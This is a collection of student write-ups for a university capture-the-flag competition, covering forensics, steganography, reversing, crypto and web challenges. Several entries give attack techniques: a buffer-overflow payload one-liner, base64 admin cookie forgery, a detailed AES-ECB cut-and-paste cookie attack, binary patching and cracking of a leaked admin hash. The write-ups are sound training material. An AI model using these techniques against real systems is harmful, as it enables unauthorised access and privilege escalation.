Finally I decided to use the sketchy, closed-source, Windows-only ChromeCacheViewer. After opening it up and going through the entries, I noticed another URL I hadnāt seen before: https://www.youtube.com/watch?v=IAKxlSplp-c.
Going to comments section and sorting by newest, I found a suspicious comment by Andrew H: osuctf{maybe_i_can_just_wipe_it_off}
Challenge: cord-great_white Write-Up Author: ctf-user-053
Finding the Great White
The first step is to run the tool through wireshark. This gives you the packets that have been captured. Wireshark gives you strings it finds as output. With this you see there is an html file with a png in it that is called flag. If you export as http, you can get the html sent over, including the actual flag image.
Challenge: Overflow
Write-Up Author: ctf-user-137
Overflow Writeup
I saw the overflow in the source, so I just sent 0xcafebabe twenty times with
(python2 -c 'import struct; print struct.pack("<I", 0xcafebabe)*20'; cat -) | ./overflow
Challenge: Logo Write-Up Author: ctf-user-053
Find the contrast
There are a couple options for how to solve this problem. I originally uploaded the image to StegOnline. Then I used their color options to modify the image. LSB Half ended up being the right one that showed the hidden flag message in the photo.
Another way to solve this is to use an image editor like gimp to modify the brightness and contrast. You want to get them in the opposite directions, so experimenting with that I found low brightness/high contrast showed the hidden message too.
Challenge: PATCHrick_Star Write-Up Author: ctf-user-017 So for this problem we were given a binary file. Running it through the file command lets us know itās an executable, and when we execute it in linux, it canāt open the patrick1.txt and patrick2.txt files. I create those files, put ālolā in them, and the program runs normally, and prints an endless stream of spongebob āquotesā. Opening the file in ghidra, I see where it decrypts and prints the flag. It wonāt get there though because its stuck in an infinite while loop printing spongebob quotes, so I just patched out the jump instruction that represented the while loop to a NOP instruction using ghidraās patch instruction function. I save the program, run it again, and get a little farther, but still get stuck after printing patrick2.txt. The decrypt_flag function, right above the printf that prints the flag, was locking up and waiting forever. I patched out the conditional that checks the time, and the nanosleep function call with nops, and it printed out the flag successfully.
Challenge: my_favorite_shape Write-Up Author: ctf-user-028
Strap in for this one, kids!
After downloading and viewing the output.log file included for this problem, the first step in solving this one was obviously to google what RSSI values are. Because come on, who knows this off the top of their head unless they work in wireless networking? (NOTE: I see this has now been changed to āreceived powerā levels. Understandable, as RSSI values are usually measured in decibels, whereas the values given seem to be proportions.) After learning that these measured the strength of the signal received at each station, I set about making a mathematical model of this situation.
So the one piece of outside info that is absolutely essential to this problem is the inverse square law. The power received at any one station is proportional to 1/(r^2 ), where r is the distance from the station to the point where the signal originated. This law is basically universal among wireless signals.
Since weāre using an x-y coordinate system, r^2 = x^2 + y^2. Now weāre getting somewhere. The power received at the first station at (0,0) should be proportional to 1/(x^2 + y^2 ). The power received at the station at (150, 400) should be proportional to 1/((x-150)^2 + (y-400)^2 ). And lastly, the power received at the third station at (300, 0) should be proportional to 1/((x-300)^2 + y^2 ). x and y, by the way, are the x and y coordinates where the signal originated.
We also have the power level at three stations, which I called a, b, and c. Now this next assumption may not be quite as the puzzle designer intended, but I interpreted the values given as proportions. In other words, for some broadcast strength e, the power reading at the first station would be equal to a*e, and would be equal to e/(x^2 + y^2 ). So I divided it out of all three equations, and got the following:
- a = 1/(x^2 + y^2 )
- b = 1/((x-150)^2 + (y-400)^2 )
- c = 1/((x-300)^2 + y^2 )
And then all that was left to do was solve that system of equationsā¦ oh joyā¦
I wonāt go into too much detail, but that was pages worth of math. Still, it got me a final result of
- y = (1/a + 1/c - 2/b + 275000)/1600
- x = (1/a - 1/b) + 182500 - 800*y
And that was enough to start scripting. I wrote a Python script that took in the output.log file and, for each set of three station values, calculated these x and y coordinates. There were also values where a, b, c were all equal to 0, so I had it print āno signalā during those times. And then, knowing that I needed to plot these somehow, I installed the matplotlib module and used its Pyplot construct to make and display a plot. This led to a scatterplot that looked like just a bunch of points. Ok, a bit disheartening, but still, we have a plot.
I realized that I needed to get some lines drawn on this. I had a suspicion, so I opened up GIMP and played āconnect the dotsā with the first five coordinates. Thatās when it clicked: every set of points traced out a letter, followed by a period of āno signal.ā So I moved the plot function inside my loop; if a,b, and c were equal to 0, then the program would spit out a plot with lines and wait for me to close it before continuing. This allowed me to go through each letter, writing it down by hand as the code ran through each set of points. And that was the flag!
(Authorās note: this is what got me the final solution. Not shown here are even more pages of math where I tried a different - and wrong - model, as well as all the minor issues that came up in using a less familiar language. Iām not quite used to Python yet.)
Challenge: onion
Write-Up Author: ctf-user-115
Basically just set a breakpoint before we execute the code after it gets transformed in the binary and do:
> x/2000s code
to dump out the code. Formatting is pretty easy if youāre a vim user. If notā¦rip.
Anyway then we can just do this:
coinflip help $info
A link to github was given in `$info` (https://github.com/qxxxb/auth_bot).
I looked at the link for the auth function (line 110) and i realised that i need the value for the variable cipher, which is in sha256.
I also realised that there is a debug_log function that isn't given in discord. Thus, i called the function and it gave the password password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34. I went over to http://reverse-hash-lookup.online-domain-tools.com/ and deciphered the password with sha256 and got the password gobucks. Then i `$auth` gobucks and was authenticated as the admin and went to the auth-bot flag in BuckeyeCTF to get the flag
-----
Challenge: Cookie Monster Pt. 0
Write-Up Author: ctf-user-006
## Cookie Monster Pt. 0
Looking at the source code, we seem to be storing a cookie named `SESSIONID0` with login credentials. This cookie is set whenever the login form is submitted:
```py
if form := request.form:
try:
cookie = create_session(form.get('username', ''))
res.set_cookie(current_app.config.get('COOKIE_ID', 'SESSIONID'), cookie.decode('ascii'), max_age=3600)
except SessionError as e:
return redirect(url_for('login', err=e.args))
return res
Looking at the create_session()
function more closely, we see a few interesting things:
Basically this returns the value of the SESSIONID0
cookie. We see that in the flag()
function, this value is checked like so:
As long as we have the admin
role, we can get the flag! So next we can manually Base64 encode {"name":"12345","role":"admin"}
, and set the cookie to that value using your browserās developer tools. If we click the login button, we get the flag.
Challenge: flagbin Write-Up Author: ctf-user-018 Found http://pwn.osucyber.club:13370/sitemap.xml in the http://pwn.osucyber.club:13370/robots.txt file. Created a .sh file to curl each url. Had > 1000 urls.
ex file.sh limited to 3 urls:
- curl http://pwn.osucyber.club:13370/paste/48e03df4-9d0a-42ba-8b67-c0d25c2e148e
- curl http://pwn.osucyber.club:13370/paste/7b4c4ce5-7b61-550a-9918-3efe006ed13b
- curl http://pwn.osucyber.club:13370/paste/381bea2b-6ef8-56ef-831b-f03540e7b6e8
Ran the .sh file to output file and grepped for āosuā.
Challenge: debugger Write-Up Author: ctf-user-082 Began by uploading the pwn file and opening it with gdb. Began by opening the .c file to see what is happening. Saw that the decrypted flag was produced after the four loop. So I started by setting a break point at main, the used the āstepā command until I was at the start of the loop and then used āstep 64ā to produce the flag. Finally, I used pāprint decrypted_flagā to display the flag.
Challenge: authbot
Write-Up Author: ctf-user-082
Start with $help
in a dm to the AuthBot, Gave us
$ping
$coinflip
$auth
$help
$info
I then typed $info
and navigated to the gitHub. After reviewing the files I scrolled down to the bottom and noticed a command $debug_log
. So I typed that and got
2020-10-23 23:39:08 INFO
Logged in as authbot#4452
2020-10-23 23:39:13
DEBUG User ath0#0294 authed as admin with password hash
c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
2020-10-23 23:40:06 DEBUG User qxxxb#8938 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
2020-10-24 00:05:53 DEBUG User tips48#3559 authed as admin with password hash c023d5796452ad1d80263a05d11dc2a42b8c19c5d7c88c0e84ae3731b73a3d34
Pretty much password hashes were stored here. So I used https://crackstation.net/ and input the password hash. This gave the password gobucks. I then used $auth
gobucks to give me the authentication role, which gave access to theauthbot-flag channel where the flag was/
Challenge: Logo Write-Up Author: ctf-user-029 Beginner: Logo Just upload the image to this website:https://29a.ch/photo-forensics/#level-sweep and you will be able to see the flag. Had to mess around the website options a little before the level sweep shows me the flag
Challenge: Tripped Over a String Write-Up Author: ctf-user-029 Beginner: Tripped Over a String Download the file, then go to https://hexed.it/. Upload it and search for ctf and you will get the flag.
Challenge: Cookie Monster Pt. 0 Write-Up Author: ctf-user-029 Beginner: Cookie Monster Pt. 0 First, i went to the webside and looked at the source code: view-source:http://pwn.osucyber.club:13382/source. if session.get(āroleā, āusersā) 'admin': (line45) picked up my attention that i had to make the cookie have the value admin somehow. I realised that it was encoded in base64 and decoded my cookie content (eyJuYW1lIjoiYWRtaW4iLCJyb2xlIjoidXNlcnMifQ) and got {ānameā:āadminā,āroleā:āusersā}. Then i went ahead and encoded {ānameā:āadminā,āroleā:āadminā} and got eyJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ. Then, i used burpsite to change the cookie value to eyJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ, forward the request and then found the flag.
Challenge: Magic Magic Bytes Write-Up Author: ctf-user-029 Beginner: Magic Magic Bytes Simply go to https://hexed.it/ and upload the file. Select tools>file format identification and it would say that it is a zip file. Next, change the extension to .zip and you would find another zip file inside it. Upload that second zipfile to the website and you will get your flag.
Challenge: Iām a belieber Write-Up Author: ctf-user-115 Good lord. Okay, first, download the binary ninja tools from https://github.com/SiD3W4y/binja-toolkit.
Next, load the binary and add the map (the given mapfile is close to the right format, just change tags to lowercase and remove sizes). This will let usā¦actually reverse it.
If we look at the conspicuously named check_key
function we see:
In this function we see a few branches. First, we know by pressing random stuff that start
makes Justin blink ;) so we can gather thatās what is doing switch_bg()
. Next, we have some math I didnāt bother reversing followed by a couple checks. First, if we have key_val == 8
or the division result doesnāt equal the original input value, we reset the keyArrIndex to zero. Next, we know at the bottom that we want keyArrIndex > 0xa in order to print the flag. Could we just get the flag? Maybe. But as weāll see, the flag is just our input, so that is a harder problem. Instead what we want to do is use mgba to set 3 breakpoints:
- 0x8000418 ā we need to have a breakpoint if our input was correct
- 0x80003ae ā we need to have a breakpoint if our input was wrong
- 0x80003de ā once we pass the check, to make sure we donāt miss the flag
From there we can just use mgba to bash the sequence. Start with A, if we hit the correct breakpoint we know the correct input is A, if we donāt, itās B. How do I know itās either A or B for each? The value in r0 is always 1 or 2, which corresponds to A or B by uhā¦inspection or something.
If we bash out the whole 10 character key and hit c
we get the flag printed out onscreen.
Challenge: Tripped Over a String Write-Up Author: ctf-user-015 To begin, I opened the file in a hexadecimal program to see what type of file this was. Knowing that it was an .elf file, I ran it on the linux command line, which printed out the message that the the string got tripped on and the flag was scrambled up. So i took a look at the strings in the file using the command strings filename, and found the flag in the list.
Challenge: what_even_is_a_cornhusker Write-Up Author: ctf-user-015 Using the application steghide given to us in the linux vm, I tried to extract a hiddle text file in the jpg, after a few guesses of the password, I tried what_even_is_a_cornhusker as the password, which worked and revealed the flag in a hidden text file.
Challenge: undelete Write-Up Author: ctf-user-015 using the command gzip -d battelle_files.tar.gz to get a tar file then use tar -xvf battelle_files.tar open the text file called flag and you get the flag
Challenge: sus Write-Up Author: ctf-user-017 Looking at the binary, it appears to be a wireshark pcap file. Opening it in wireshark, we get a bunch of packet captures. Most of the data in these packets is pretty random, at the start it says Cxxd -p shellcode, and at the end it says EDontCallMeSecurely and Ccat flag.txt. I get a general idea that the random data is shellcode in the middle, and a flag at the bottom, but the flag is unreadable.
Since I canāt read the āflagā, I use a data.data filter and the follow TCP stream function in wireshark to see all of the data in each packet recombined into one big file. I can download this file using the download raw function.
Now that I have the shellcode (as well as some extra junk (cat, xxd, flag commands)), I convert the shellcode from hex ascii bytes to a binary file using the xxd -p -r function. The -r flag reverses the regular xxd operation. Next, I try and run the binary file I created from the xxd command, but it segfaults. Darnā¦
I guess I have to do static analysis in Ghidra. I open the binary in Ghidra, and go to the main function, which looks like this. There are two ācommandsā. āEā for encryption, and āCā for printing stuff out. If you go into the function I liked to call notprintf, you find that if an āEā command is run, the encrypt flag turns on and the next command will be encrypted. Since EDontCallMeSecurely was followed by Ccat flag.txt, the flag was encrypted with AES.
Now the hardest part was decrypting the damn thing. Online tools were shit, and trying to use the linux openssl commands led to a lot of dead ends. I eventually was looking at the AES in the crypto challenges using python, and tried to adapt it to my own purposes, using AES-256-ECB mode. At first it didnāt work, because my key was too long. After I changed the key from DontCallMeSecurely to DontCallMeSecure, which is 16 bytes, it worked, and the flag was printed out. I used the cat flag.txt output as ciphertext btw. I had to guess that DontCallMeSecurely was the key though, because I didnāt see any reference to it under the E command in the disassembly.
Challenge: Cookie Monster Pt. 1 Write-Up Author: ctf-user-006
Cookie Monster Pt. 1
What sticks out the most is this section of the source code:
AES with ECB mode is insecure, and a quick Google brings up some similar challenges from other CTFs.
Our goal is to make sure that role
is set to administrators
. Oddly enough,
the other parts of this challenge all use admin
instead of administrators
,
so there might be some significance here.
Anyway, we need to make sure that when the cookie is decoded, it results in valid JSON with the correct role. Here is the code responsible for the decoding:
In summary:
To encode:
- Put username into session object (with hardcoded `users` role)
- Create AES cipher using KEY (using ECB mode)
- Stringify session JSON
- PKCS7 pad stringified JSON
- Encrypt with AES cipher
- Base 64 encode
To decode:
- Create AES cipher using KEY (using ECB mode)
- Base 64 decode
- Decrypt with AES cipher
- PKCS7 unpad
- String to JSON
Due to the nature of AES, thereās no feasible way to obtain the key even if we have plaintext and ciphertext pairs. So it looks our only hope is to do some hackery to find a ciphertext that decodes to the JSON we want.
AES-128 in EBC mode will encrypt 16 byte (128 bit) blocks at a time. Each block is encrypted in isolation. So the same block of plaintext always generates the block of ciphertext.
So if we wanted to find the ciphertext of this plaintext block
1234567890123456
, we would need the website to encrypt it for us. If we gave
that ciphertext block back to the website, it will always decrypt back to
1234567890123456
.
Now the trick is to come up with name
values we can enter into the website
that will result in the plaintext blocks we want.
This turns out to be the hardest part. After playing around for a bit, it actually seems impossible to create inputs that result in the plaintext blocks we need. For example, one of the plaintext blocks we need is this:
administrators",
In order to obtain this block we need to supply a name like
xxxxxx_administrators
:
1234567890123456
{"name":"xxxxxx_
administrators",
"role":"users"}
However, xxxxxx_administrators
is 21 characters long, and the maximum allowed
length is 20. Now it seems impossible to generate any useful plaintext blocks. I
was stuck here for about 3 HOURS until I realized something about this line of
code:
To calculate the length of a string, doesnāt Python just count the number of
characters, regardless of whether theyāre ASCII or unicode? What happens if we
put in a ton of Unicode characters like šššššššššššššššššššš
?
{"name":"\ud83d\
ude00\ud83d\ude0
0\ud83d\ude00\ud
83d\ude00\ud83d\
ude00\ud83d\ude0
0\ud83d\ude00\ud
83d\ude00\ud83d\
ude00\ud83d\ude0
0\ud83d\ude00\ud
83d\ude00\ud83d\
ude00\ud83d\ude0
0\ud83d\ude00\ud
83d\ude00\ud83d\
ude00\ud83d\ude0
0\ud83d\ude00\ud
83d\ude00","role
":"users"}
What the heck?? Each of these Unicode characters expands to 6 characters. That
means our new maxium is 20 * 6
which is 120
. Now we can get the plaintext
blocks we need by mixing in these unicode characters to increase the length of
the JSON. For example, with ę_administrators
, we get:
{"name":"\u6211_
administrators", <- This is the block we want
"role":"users"}
Perfect! Now we have to find some other bits and pieces to create a valid JSON string.
However, thereās a big issue with double quotes. If we try to put in a "
in
the input string, it gets escaped to \"
. After getting stuck here for a few
more hours (I was trying to make Python accept single quotes, but that didnāt
work), I realized that we could abuse whitespace to isolate a single character
in the plaintext block. Since JSON doesnāt care about whitespace, it can still
be parsed without any issue.
After a lot of trial and error, I finally came up this list of plaintext blocks:
{"name":"xxxxxxx
xxxxxx","role":"
administrators",
"zzzzzzzzzzzzzzz
":
"
"
}
I had to include an extra "zzzzzzzzzzzzzzz": ""
key-value pair so that JSON
wouldnāt complain about the comma after administrators"
. Since the author told
json.dumps
to sort the keys, we can guarantee that zzzzzzzzzzzzzzz
will come
after role
.
Next I had to come up with inputs that would result in these plaintext blocks. These were:
xxxxxxx
ę_xxxxxx
ę_administrators
ę"zzzzzzzzzzzzzzz
ę":
ę"
ę_}
ę_xxxxxxxxxxxxxxx
The last input was needed to generate a full row of padding that the pkcs7_pad
function would generate.
Plugging each of these inputs into the website, I recorded the cookie value in
SESSIONID1
. I then wrote a script to process these cookie values and combine
the relevant blocks into one cookie to rule them all.
[ solve script removed -Andrew ]
After setting my SESSIONID1
cookie to this value, I was greeted by the flag:
osuctf{N3V3r_R0Ll_Y0ur_0wN_CrYP70}
Challenge: scoreboard
Write-Up Author: ctf-user-099
The overview of this is: fake a malloc struct, free it using the unchecked index, have itās next return a fake chunk that points to the file address. Then read from that file with reset
and show
.
Super gross solve script
[ solve script removed so we can use this for internal ctf -Andrew]
Challenge: my_favorite_shape Write-Up Author: ctf-user-088 This challenge was messed up, but very rewarding.
They tell you there are 3 receivers and they give you like 700 data points for received power values at these 3 locations.
Whenever you see three distance related data points you can know that you may be able to use trilateration. Trilateration is what most people mean to say when they say triangulation.
To do trilateration though you need to get from received power (given) to distance. By assuming that all the receivers have uniform gain at all angles you can use the equation:
Prx=Ptx/(4piR^2) where R is the radius used in trilateration.
from here you just plot all the points in order. They will spell characters where the 0 power measurements are spaces.
Challenge: Fontana Write-Up Author: ctf-user-088
- identify epoch is time, get the time
- google fontana and find that it is a building with a live camera feed
- feed br0ke
- find API documentation
- POST arguments to get the frame at the time from the epoch
Challenge: subdomain Write-Up Author: ctf-user-088
- Use a fuzzer to find subdomains, I used an online fuzzer and found the really long weird subdomain immediately
- nothing is at subdomain
- use archive tools to find the flag
Challenge: Ride Write-Up Author: ctf-user-088
- recognize that the numbers are Lat-Long
- format the data into a CSV of Lat,Long\n pairs
- use online tool to plot lat-long CSV pairs
- read the map of the result
Challenge: flagbin Write-Up Author: ctf-user-088
- Use a fuzzer to find the sitemap xml file
- format the file to be only URLs
- curl all of the contents of these pages into a single file
- look for the key
- profit
Challenge: debugger Write-Up Author: ctf-user-088
- open the file up and find the string the indicates where to look for the decrypted key
- set a breakpoint at that address in dbg
- run until the breakpoint
- print the variable
- profit
Challenge: undelete Write-Up Author: ctf-user-088
- Open the tar and have a look inside
- turns out in my tar viewing software it doesnt appear as deleted
- so just read it
- profit
Challenge: Cookie Monster Pt. 0 Write-Up Author: ctf-user-088
- see that you were given a cookie
- see that it is base64
- decode it
- change user to admin
- put it back in
- refresh page
Challenge: Postmodern Petri Dish Write-Up Author: ctf-user-115 All we really need to do is go to: https://en.wikipedia.org/wiki/Genetic_code#RNA_codon_table
And use the table to do:
cca -> P Proline
uua -> L Leucine
gag -> E Glutamic Acid
gcu -> A Alanine
uca -> S Serine
gaa -> E Glutamic Acid
gag -> E Glutamic Acid
gcc -> A Alanine
acc -> T Threonine
uag -> _ STOP (Amber)
aca -> T Threonine
guu -> V Valine
gag -> E Glutamic Acid
ggg -> G Glycine
ggg -> G Glycine
auc -> Isoleucine
gaa -> E Glutamic Acid
ucc -> S Serine
This spells out PLEASEEAT_TVEGGIES because the author fucked up, but thatās okay, we can guess that itās actually PLEASEEATURVEGGIES.
Challenge: PATCHrick_Star Write-Up Author: ctf-user-137 patched the binary
#!/usr/bin/python3
topatch = [bytes([0xe8, 0x45, 0xfb, 0xff, 0xff]),
bytes([0xe8, 0xa6, 0xf8, 0xff, 0xff]),
bytes([0x48, 0x8b, 0x45, 0xe8, 0x48, 0x83, 0xc0, 0x48, 0xc6, 0x00, 0x00]),
bytes([0xe8, 0x25, 0xfb, 0xff, 0xff]),
bytes([0xe8, 0xdc, 0xfa, 0xff, 0xff])
]
patch_replacement = [#(bytes([0x48, 0x83, 0x7d, 0xf8, 0x00]), bytes([0x48, 0x83, 0x7d, 0xf8, 0x01]))
]
with open('PATCHrick_Star', 'rb') as f:
c = f.read()
for topatch_bytes in topatch:
patch = b'\x90'*len(topatch_bytes)
c = c.replace(topatch_bytes, patch)
for t, p in patch_replacement:
c = c.replace(t, p)
with open('PATCHrick_Star.pat', 'wb') as f:
f.write(c)
Challenge: YaffSquatch Write-Up Author: ctf-user-137 Yaffsquatch unsquashfs good_words.bin cd squashfs-root unyaffs2 great_characters.bin great cd great ls -S | tr -d ā\nā | rev
Challenge: onion Write-Up Author: ctf-user-137 Onion writeup
I used gdb with gef to start the process, search-pattern osuctf{
, dump flag
Challenge: Hash Mash Write-Up Author: ctf-user-137 I put all of the hashes into https://sha1.gromweb.com/?hash=3e2e95f5ad970eadfa7e17eaf73da97024aa5359
Challenge: authbot Write-Up Author: ctf-user-137 looked at source, ran undocumented command, auth as admin
Challenge: Appetizing Donut Secret Write-Up Author: ctf-user-137 strings SECRETS| grep osu
Challenge: No Write-Up Author: ctf-user-137 ran strings, saw the string that said you lookin for something, then base64 decoded the text near that
Challenge: Cookie Monster Pt. 1 Write-Up Author: ctf-user-053
Putting Together the Cookie Crumbs
So here we go. The first part of this problem is to look at the source provided. We know that what is being encrypted is JSON, where the only thing we can change is the username.
session = { ānameā: username, āroleā: āusersā }
We also know we need to change the role to administrators.
if session.get(āroleā, āusersā) == āadministratorsā: flag_text = current_app.config[āFLAGā]
It also tells us the type of encryption being used, which is ECB.
cipher = AES.new(key=current_app.config[āKEYā],** mode=AES.MODE_ECB**)
If youāre me and know nothing about this, you google ECB encryption to find weaknesses and just how it works. Hereās good info on all the ways this encryption apparently is horrible: Why shouldnāt I use ECB? It being horrible is great news for us! We can use both that each block is encrypted separately and that same plain text = same cipher text. (More on this later.)
Once you have the background info, one of the big things to notice in the source code is that you canāt change the key at all and have no clue how itās generated. So this limits the types of attack. Some more googling into ECB attacks, and we find the attack is called a cut and paste attack. Thereās a lot of sites about that attack, but that was the one that I found least confusing.
With knowing itās a cut and paste attack, we can now use what we learned about ECB weaknesses. Looking once again at the source, we are given the block size = 16 bytes.
def pkcs7_pad(data: bytes, blocksize: int = 16) ā bytes:
[Note to problem creator: thank you so much for this. My head hurt looking at how to find this.] Knowing the block size, itās important to also note that after the ECB encryption that it is base64 encoded too. To be able to split into blocks I found it easiest to convert from the base 64 to hex.
We then need to figure out how to make the blocks we are given fit what we want. With only being able to change the username and needing to make the role administrators, this means we need to trick the encryption into giving us a block with āadministratorsā that only contains valid JSON. We can do this by pushing the string āadministratorsā to the second block.
We know the first block starts with:
{ānameā:ā
which is only 9 bytes. We need to get 7 more bytes in this block, and āadministratorsā to the next block. I thought I could do this by just putting 7 letters before āadminsitratorsā, but we have a character limit in our login prompt. āadministratorsā is 16 bytes. Perfect size for its own block, but adding 7 characters to the input gives me more than the 20 character limit.
To get around the character limit, itās important to know how strings vs JSON behaves. The JSON converts characters such as ā to ā to escape the character. This doubles the characters input into the block. Then inputting ''''administrators gives us (with each bullet being a block:
- {ānameā:''''\
- āadministratorsā
So now we have one block and need to figure out what else we need. For āadministratorsā to be itās own block, the blocks must be:
- {ānameā:ā [7 chars]
- [7 chars] ā, āroleā:
- āadministratorsā
- } [Padding]
The second and last blocks must be formatted that way to ensure āadministratorsā is itās own block. This means we need to input something to get } on its own. It ended up being:
- {ānameā:ā [7 chars]
- [1 char] ,āroleā:āusersā
- }
Then we have the last two blocks of hex for final output. We just need to grab the first two lines which looks the same as above:
- {ānameā:ā [7 chars]
- [7 chars] ā, āroleā:
We remove the last two blocks of hex, add on the hex we found, and then encode in base64. We then replace the given cookie with the one we found.
And we are finally done.
Note: I did a lot of this by hand and copying/pasting. This was the WRONG idea. Scripting can make this a lot easier. One way to do this is by modifying their source code to create a script with your own hard coded key to find the right blocks and make sure you have it correctly. This would have made my life easier. Instead a copy/paste error added about another hour onto my solving this.
Challenge: Not Quite Quine Write-Up Author: ctf-user-028
Yes. Yes they are.
Step 1 was, as always, to google what a āquineā is. Itās a piece of code that copies itselfā¦ huh. Step 2 was to sit down and dissect that python script, and in particular that print statement. That is one dense line of code, so I wrote it out by hand and, piece by piece, wrote down what each section meant. (I have like 5 more tabs open in Google searching for all of the different functions used in there.) Step 3 was to realize that this code would copy itself by using the variables to reference portions of itself. So I copy/pasted the entire body of code into the variable s, making some minor edits like ās={s}ā and āf={f}ā so that the format() function would recognize each one as a variable. Step 4 was to run it and tweak that string it until I got the flag. (Also I apparently needed a newline at the end. I donāt think it came with that, but I could have just accidentally deleted it.)
Challenge: Logo Write-Up Author: ctf-user-056 Logo Stuff
We opened the file and found this SICK logo. Upon inspection it didnāt look like much and gave up. After our cap took a look at it, he noticed that the center white area was not entirely white. This was due to his crappy monitor. Open the file in paint, grab the black paint bucket, spill black paint all over the background shows the flag clearly on the screen. Nice! The only flag we could solve.
Challenge: undelete Write-Up Author: ctf-user-056 Undelete more like Un
Downloading the file we realized that this was a winky weird file with .tar.gz. Never seen this file so we looked to our brother google for assistance. Really smart fello I must say. Apparently .gz is like a zip file that can be opened through gzip. We initially didnāt know how to view files in linux using cat so we opened the file in notepad and poof, there the flag was given to us by the best company Battelle along with giberish cause we were using notepad.
Challenge: Hash Mash Write-Up Author: ctf-user-036 Through a brief search no examples of hashes with underlines was found, when comparing the different strings between underlines, they are all 40 characters long, the same length as a SHA-1 hash, when reversed using the site https://md5hashing.net/hash the result of all the hashes with underline spacing denoting the separate hashes is āpotato_hash_is_good_with_saltā
Challenge: Cookie Monster Pt. 0 Write-Up Author: ctf-user-056 Nom Nom Cookies
This was a pretty cool website, all it had was a login text box and since I didnāt know webscraping and other cool stuff I looked at the source code. Looking at the code, I didnāt understand how the website worked but the creator thought of people like me and added comments. Shout out to the creator. I noticed that we reach the flag.html part after it brings the error message of you must be a admin so we changed the cookie to the base 64 encryption of ā{ānameā:āadminā,āroleā:āadminā}ā to get āeyJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ==ā. Refreshing the page we get the flag, woo!
Challenge: Postmodern Petri Dish Write-Up Author: ctf-user-067 Dang Iām so glad I still remember bio stuff Sequences of 3 nucleotides will get translated to particular proteins. After some digging around, I noticed that the charts describing amino-acid-to-protein conversions (such as this one: http://2.bp.blogspot.com/-SW0Fnc0Bsb8/URutxvDAaEI/AAAAAAAAAVM/0rsFvgUug1k/s1600/url.jpg) also included letters that were used to abbreviate the protein. Translating chunks of 3 nucleotides to the associated letter for its protein yielded PLEASEEAT[STOP]RVEGGIES. After some guesswork (and a hint from the officers), it wasnāt too hard to figure out what letter [STOP] should be replaced with.
Challenge: Ride Write-Up Author: ctf-user-028 I wrote a python script that took in the numbers from the input file and mapped them to x and y coordinates. Then I plotted it using the matplotlib.pyplot module. The resulting plot was upside-down, so I inverted all of the y coordinates. Then I got my answer. (It was barely legible, but I got it!)
Challenge: Hash Mash Write-Up Author: ctf-user-028
Google makes things easy
I realized immediately that this was multiple hashes separated by underscores. As I highlighted the first hash to copy it, my browser helpfully offered to search Google for this text. I chose that option. That led me to a SHA-1 reversing website, which told me both the type of hash and what it contained. I went through each hash, eventually putting together the entire message. (Had a bit of a slip-up when I skipped over one of the hashes in the middle, but I got there in the end.)
Challenge: debugger Write-Up Author: ctf-user-057 Go to https://www.onlinegdb.com/, paste the code in there. Next to the line number, click until you see a red dot. (Known as a break point before the line(s) that delete the flag). Start debugger, click start then you can see variable values in the variable list.
What this does is it pauses the execution so that you can see the flag before it gets removed.
Challenge: debugger Write-Up Author: ctf-user-120
Simple use of GDB.
First open GDB with command
gdb pwn
Which then opens gdb. We need to set a break point after the flag is decrypted but before it is deleted. Letās check the source code.
cat pwn.c
We see line 8 is where we need a break. Going into gdbā¦
break pwn.c:8
run
Now the program has stopped where we want it to. Simply print the flag and we are done!
print decrypted_flag
Challenge: Postmodern Petri Dish Write-Up Author: ctf-user-052 Hiding a message in gene expression The chain of rna given is 108 letters long. Separate the letters in groups of threes, and then read it like a ribosome would, mapping it to amino acids
Scientifically, each amino acid is given a letter. read this out. The word that you get is āPLEASEEAT-TVEGGIESā However, this doesnāt work. And the message doesnāt make sense. A clue in the challenge is that the people looking at it gave up. A message and phrase that would make sense is please eat your veggies. so change the ā-Tā portion in the middle to UR and boom.
Challenge: Magic Magic Bytes Write-Up Author: ctf-user-120 Opened the file in a Hex editor. Noticed strings that mentioned not_a_text_file.zip and not_a_zip_file.txt. Changed related extentions to reveal plain text flag.
Challenge: No Write-Up Author: ctf-user-067 Basically Found This One By Luck My original idea was that one of the componentās PDF specifications was altered in some way, making it invisible to the PDF reader. Thus, I opened up No.pdf in a hex editor and scanned through the PDF specifications. Around where the author is defined, there is a string embedded that says āYou looking for something?ā, followed by a jibberish-looking string. After decoding that jibberish-looking string in base64, the flag was revealed.
Challenge: what_even_is_a_cornhusker Write-Up Author: ctf-user-120
What fun
GIMP and xxd revealed nothing so tried steghide.
Had to use steghide extract -sf flag.jpg the passphrase was the challange name. Key was then reveled.
Challenge: Logo Write-Up Author: ctf-user-120
Magic Contrast
It was all in the contract of the image. I use a slightly different method. By changing the alpha of just the white text I was able to find slightly off colored text in the middle of the image which was the flag.
Challenge: Tripped Over a String Write-Up Author: ctf-user-120
HEX FTW
Used a hex editor since nothing else was able to open the file. Manual looked through it to find the flag. Next time use
xxd tripped_over_a_string | grep osuctf
Challenge: subdomain
Write-Up Author: ctf-user-067
So Apparently Subdomain Finders Are A Thing
^^Interesting factoid I did not know before today. I found the subdomain by using a subdomain finder (NMMapper) on osucyber.club, while my partner found it by searching for certificates belonging to osucyber.club. After that, he downloaded the archives on 9vyloyc3ojspmtuhtm6ejq.osucyber.club and used grep
to search for the flag.
Challenge: cord-great_white Write-Up Author: ctf-user-082 Open the file in wire shark, I then ordered the network packets by protocol. I then noticed flag.png. I then went to file- export objects then selected flag.png. And there it was.
Challenge: Right Address Write-Up Author: ctf-user-028
Taught me some shell scripting to boot.
After examining the compiled ELF file in Radare2, I found the address of the āprint_spy_instructionsā method. I then used echo to redirect a string containing a lot of filler characters followed by the correct ones into a holder file. (This taught me how to use BASH for loops.) Then I sent it to the osuctf server with cat and a pipe. Unfortunately, I hadnāt calculated my buffer size exactly right, and trying values nearby only resulted in frustration. I eventually got fed up with having to re-enter all the commands to fill my holder text file, and I wrote a shell script to do it that took in the number of buffer characters as a parameter. After running this several times, I finally managed to get the right value. Sidenote, but it seems if you exceed your character limit in fgets(), it makes the gets() function able to avoid the buffer overflow issues. Which is interesting.
Challenge: Appetizing Donut Secret
Write-Up Author: ctf-user-067
If you do testdisk SECRETS
